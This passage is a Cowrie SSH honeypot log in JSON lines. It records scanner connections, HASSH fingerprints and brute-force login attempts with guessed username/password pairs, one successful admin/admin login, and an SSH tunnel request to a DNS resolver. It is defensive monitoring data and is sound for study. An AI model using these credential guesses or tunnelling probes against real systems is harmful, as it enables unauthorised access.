{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:46:43.570459Z","src_ip":"147.45.197.250","session":"790143aa4394","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:46:43.660547Z","src_ip":"147.45.197.250","session":"790143aa4394","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcdef","message":"login attempt [root/abcdef] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:46:43.928448Z","src_ip":"147.45.197.250","session":"790143aa4394","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:46:45.020502Z","src_ip":"147.45.197.250","session":"790143aa4394","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":39646,"dst_ip":"159.203.135.109","dst_port":22,"session":"67bd04b07ac2","protocol":"ssh","message":"New connection: 80.94.92.186:39646 (159.203.135.109:22) [session: 67bd04b07ac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:17.521842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:17.667424Z","src_ip":"80.94.92.186","session":"67bd04b07ac2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:17.671470Z","src_ip":"80.94.92.186","session":"67bd04b07ac2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:18.520924Z","src_ip":"80.94.92.186","session":"67bd04b07ac2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":45068,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dc58209b831","protocol":"ssh","message":"New connection: 2.57.122.238:45068 (159.203.135.109:22) [session: 5dc58209b831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:18.765300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:18.770282Z","src_ip":"2.57.122.238","session":"5dc58209b831","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:18.874717Z","src_ip":"2.57.122.238","session":"5dc58209b831","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:19.186675Z","src_ip":"2.57.122.238","session":"5dc58209b831","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:20.099697Z","src_ip":"80.94.92.186","session":"67bd04b07ac2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:20.292456Z","src_ip":"2.57.122.238","session":"5dc58209b831","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":35790,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6f72dd6176f","protocol":"ssh","message":"New connection: 103.77.242.62:35790 (159.203.135.109:22) [session: a6f72dd6176f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:39.902100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:39.906711Z","src_ip":"103.77.242.62","session":"a6f72dd6176f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:40.155866Z","src_ip":"103.77.242.62","session":"a6f72dd6176f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"homealone123`","message":"login attempt [root/homealone123`] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:40.886549Z","src_ip":"103.77.242.62","session":"a6f72dd6176f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:42.132350Z","src_ip":"103.77.242.62","session":"a6f72dd6176f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":49090,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b796d948493","protocol":"ssh","message":"New connection: 62.133.63.178:49090 (10.17.0.5:22) [session: 2b796d948493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:44.445186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:44.448951Z","src_ip":"62.133.63.178","session":"2b796d948493","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:44.575041Z","src_ip":"62.133.63.178","session":"2b796d948493","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"565656","message":"login attempt [root/565656] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:44.954932Z","src_ip":"62.133.63.178","session":"2b796d948493","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:46.085509Z","src_ip":"62.133.63.178","session":"2b796d948493","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":65186,"dst_ip":"10.17.0.5","dst_port":22,"session":"c79ef332d9ab","protocol":"ssh","message":"New connection: 87.251.64.176:65186 (10.17.0.5:22) [session: c79ef332d9ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:53.150562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:53.155182Z","src_ip":"87.251.64.176","session":"c79ef332d9ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:53.251868Z","src_ip":"87.251.64.176","session":"c79ef332d9ab","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:53.545120Z","src_ip":"87.251.64.176","session":"c79ef332d9ab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:53.644623Z","session":"c79ef332d9ab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:53.742888Z","src_ip":"87.251.64.176","session":"c79ef332d9ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:47:53.841419Z","src_ip":"87.251.64.176","session":"c79ef332d9ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":52778,"dst_ip":"159.203.135.109","dst_port":22,"session":"b157aff3240e","protocol":"ssh","message":"New connection: 139.19.117.129:52778 (159.203.135.109:22) [session: b157aff3240e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:48:02.753458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:48:02.759588Z","src_ip":"139.19.117.129","session":"b157aff3240e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:48:02.858176Z","src_ip":"139.19.117.129","session":"b157aff3240e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"46:1b:59:74:3e:24:19:b3:09:80:6d:32:33:a5:e4:d4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILZMR3AsV6mzndFLFF/oghW+bs9yVkvvvhhHGT7e167k","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 46:1b:59:74:3e:24:19:b3:09:80:6d:32:33:a5:e4:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:48:03.057288Z","src_ip":"139.19.117.129","session":"b157aff3240e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"46:1b:59:74:3e:24:19:b3:09:80:6d:32:33:a5:e4:d4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILZMR3AsV6mzndFLFF/oghW+bs9yVkvvvhhHGT7e167k","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:48:03.061249Z","src_ip":"139.19.117.129","session":"b157aff3240e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:48:12.752954Z","src_ip":"139.19.117.129","session":"b157aff3240e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":46964,"dst_ip":"10.17.0.5","dst_port":22,"session":"46cd2c42d264","protocol":"ssh","message":"New connection: 103.77.175.15:46964 (10.17.0.5:22) [session: 46cd2c42d264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:48:22.251344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:48:22.256604Z","src_ip":"103.77.175.15","session":"46cd2c42d264","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes2